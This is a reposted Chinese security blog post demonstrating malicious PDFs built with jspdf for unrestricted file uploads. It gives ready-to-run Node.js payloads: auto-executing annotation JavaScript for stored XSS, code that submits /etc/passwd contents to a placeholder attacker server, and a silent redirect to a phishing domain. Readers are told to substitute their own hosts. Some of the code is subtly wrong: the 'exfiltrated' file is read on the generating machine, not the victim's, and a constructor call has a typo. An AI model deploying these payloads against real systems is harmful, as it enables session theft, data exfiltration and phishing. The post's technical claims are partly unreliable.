文章总结: 文章演示利用jspdf生成含恶意JavaScript的PDF,在上传校验缺失的场景下触发存储型XSS、SSRF及钓鱼跳转:通过PDF注释注入JS实现自动弹窗、外带/etc/passwd并回传至攻击者服务器、静默重定向钓鱼站,证明仅校验扩展名无法防御,必须将任何上传视为不可信输入并禁用PDF内嵌脚本。 综合评分: 86 文章分类: 漏洞分析,WEB安全,渗透测试,红队,安全开发
不受限制的文件上传导致 Stored XSS、SSRF 和钓鱼攻击
haidragon haidragon
安全狗的自我修养
2026年1月20日 16:29 湖南
官网:http://securitytech.cc
#
漏洞根因(Root Cause)
由于对用户上传文件的校验和过滤不当,攻击者可以上传包含恶意 JavaScript 的 PDF 文件。
应用程序盲目信任上传的 PDF,要么直接提供给用户下载,要么使用内置 PDF 预览器渲染,从而触发漏洞。
概述
本文将构造带有 JavaScript 的恶意 PDF,当它被上传到存在漏洞的应用后,可以触发:
- Stored XSS(存储型跨站脚本)
- SSRF(服务端请求伪造)
- 钓鱼攻击(Phishing)
攻击核心在于:应用程序无条件信任 PDF,并直接展示或解析。
前置条件
- 了解 XSS、SSRF、钓鱼攻击
- 本地安装 Node.js
- 安装
jspdf
npm install jspdf
一、通过 PDF 实现 Stored XSS
构造 Payload(带 JS 的恶意 PDF)
使用 jspdf 生成一个在打开时自动执行 JavaScript 的 PDF。
创建 PDF 的代码
const { jsPDF } = require("jspdf");
var doc = newjsPDF();
doc.createAnnotation({
bounds: { x: 0, y: 10, w: 200, h: 200 },
type: "link",
url: `/) >> >>
<</Type /Annot /Subtype /Widget /Parent<</FT/Btn/T(a)>> /Rect [0 0 900 900] /AA <</E <</S/JavaScript/JS(app.alert(1))>>/(`,
});
doc.text(20, 20, "Happing Coding");
doc.save("noclick.pdf");
演示效果
打开生成的 PDF,如果成功,会自动弹出 alert(1)。
XSS 成功确认。
真实攻击场景
- 攻击者上传恶意 PDF。
- 受害者打开 PDF 时,JS 自动执行。
影响
- 执行任意 JavaScript。
- 若 PDF 在站内预览,代码运行在目标域名上下文。
- 可用于窃取 Cookie、劫持会话、加载恶意脚本。
二、通过 PDF 实现 SSRF
构造 Payload
利用 PDF 中的 JavaScript 强制向攻击者服务器发请求,从而检测或利用 Blind SSRF。
把
https://example.com换成你的服务器、Burp Collaborator 或 webhook.site。
创建 PDF 的代码
const { jsPDF } = require("jspdf");
const fs = require("fs");
const targetFile = "/etc/passwd";
let stolenData = "File not found";
try {
stolenData = fs.readFileSync(targetFile, "utf8");
} catch (e) {
stolenData = `Error: ${e.message}`;
}
var doc = newjsPDF();
doc.createAnnotation({
bounds: { x: 0, y: 10, w: 200, h: 200 },
type: "link",
url: `#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Tx/T(STOLEN)/V(${stolenData.replace(/%/g, "%25").replace(/\(/g, "%28").replace(/\)/g, "%29")})>>/A<</S/JavaScript/JS(
app.alert('File exfiltrated!');
this.submitForm('https://example.com', false, false, ['STOLEN']);
)/`,
});
doc.text(20, 20, "Click to see the magic");
doc.save("URI_ssrf.pdf");
演示流程
- 替换 example.com 为你的 collab 地址。
- 生成 PDF:
node URI_ssrf.js
- 打开 PDF。
- 服务器接收到外带数据。
成功接收到 /etc/passwd 内容。
真实攻击场景
- 检测 Blind SSRF。
- 枚举内网接口。
- 联动 LFI、路径遍历。
影响
- 绕过防火墙。
- 访问内网服务。
- 读取本地敏感文件。
三、通过 PDF 实现钓鱼跳转
重定向 Payload
打开 PDF 自动跳转到钓鱼站点。
替换
https://example.com为你的钓鱼域名。
const { jsPDF } = require("jspdf");
var doc = newjsPDF();
doc.createAnnotation({
bounds: { x: 0, y: 10, w: 200, h: 200 },
type: "link",
url: `/blah)>>/A<</S/URI/URI(https://example.com)/Type/Action>>/F 0>>(`,
});
doc.text(20, 20, "Test text");
doc.save("phishing.pdf");
影响
- 用户被静默跳转。
- 可窃取账号密码。
- 利用文档信任度提高成功率。
总结(Takeaway)
很多人测试上传功能只关注扩展名绕过。
但即使限制为 PDF,也可以利用旧版或不安全的 PDF 库注入 JavaScript,实现:
- Stored XSS
- SSRF
- LFI
- Phishing
任何文件上传都必须被视为不可信输入。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《不受限制的文件上传导致 Stored XSS、SSRF 和钓鱼攻击》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论